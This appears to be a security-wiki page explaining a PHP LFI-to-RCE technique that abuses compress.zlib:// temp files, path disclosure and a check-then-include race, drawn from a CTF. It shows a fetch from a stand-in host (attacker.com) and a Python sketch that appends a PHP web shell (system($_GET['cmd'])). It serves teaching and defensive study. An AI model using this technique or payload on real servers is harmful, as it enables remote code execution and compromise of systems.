LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

compress.zlib:// and PHP_STREAM_PREFER_STDIO

A file opened using the protocol compress.zlib:// with the flag PHP_STREAM_PREFER_STDIO can end up backed by a temporary file. If the wrapped resource is an attacker-controlled HTTP response, the attacker can keep the socket open and continue sending more compressed data later, which will be appended to the same temporary file after decompression.

This means that a call such as:

file_get_contents("compress.zlib://http://attacker.com/file")

can ask for http://attacker.com/file, receive an initial valid gzip stream, and later keep receiving extra gzip members that are also decompressed into the same temp file.

You can see the temp-file conversion in current php-src (main/streams/cast.c):

/* Use a tmpfile and copy the old streams contents into it */

    if (flags & PHP_STREAM_PREFER_STDIO) {
        *newstream = php_stream_fopen_tmpfile();
    } else {
        *newstream = php_stream_temp_new();
    }

And the PHP_STREAM_PREFER_STDIO path is still selected from main/streams/streams.c when PHP needs a seekable/castable stream.

Practical notes

  • The useful payload is not raw plaintext appended to the HTTP response: in practice, send another valid gzip member so compress.zlib:// keeps producing decompressed attacker-controlled bytes.
  • The first bytes written to the temp file should look benign and must not contain <? if the target performs an initial content check.
  • The attacker must keep the upstream connection alive long enough to: 1) get the temp path disclosed, 2) let the target validate the harmless content, and 3) append the PHP payload before the final include/require happens.
  • This is basically a TOCTOU / race-condition variant of LFI2RCE: the application checks one version of the temp file and executes a later version of the same file.

A minimal attacker-side sketch looks like:

import gzip, time

sock.sendall(http_headers)
sock.sendall(gzip.compress(b"SAFE\n"))
# wait until the target leaks the temp path and passes its check
time.sleep(0.5)
sock.sendall(gzip.compress(b'<?php system($_GET["cmd"]); ?>'))

When this technique is useful

This is much more specific than the generic temp-file LFI tricks. Usually you need all of the following:

  • A vulnerable include/require (or equivalent LFI sink) that can reach the temp file by path.
  • Some target code path that makes the server fetch attacker-controlled data through compress.zlib://.
  • A path disclosure primitive for the temp file while the attacker-controlled connection is still open.
  • A target that performs a pre-check on the file content and only later executes/includes it.
  • Enough control over timing to send harmless content first and PHP code second.

If you only have a plain LFI and no path leak or no attacker-controlled compress.zlib:// fetch, prefer the other temporary-file techniques such as phpinfo() or eternal waiting.

Race Condition to RCE

This CTF was solved using the previous trick.

The attacker makes the victim server open a connection reading a file from the attacker's server using the compress.zlib:// protocol.

While this connection still exists, the attacker discloses the path to the temp file created by PHP.

While the connection is still open, the attacker then abuses the LFI to load the temp file that PHP is still filling.

However, there is a check in the vulnerable code that prevents loading files containing <?. Therefore, the attacker abuses a race condition:

  1. Send a first gzip member that decompresses to harmless data.
  2. Let the application inspect that harmless temp-file content.
  3. Before the later include/require, append a second gzip member that decompresses to <?php ... ?>.
  4. Win the race so the application executes the updated temp file instead of the already-validated version.

Common failure cases

  • No path disclosure: this technique is usually dead unless you can leak the exact temp filename before the socket is closed.
  • Single-step read only: if the application only reads the file once and never includes it afterwards, there is no TOCTOU window to abuse.
  • Payload sent too early: if <? is already present during the validation step, the check blocks the include.
  • Payload sent too late: if the target already performed the include, you only modified a file that is no longer useful.
  • Buffering/proxying changes timing: reverse proxies, output buffering, or application-level buffering can make the path disclosure happen too late to win the race.

References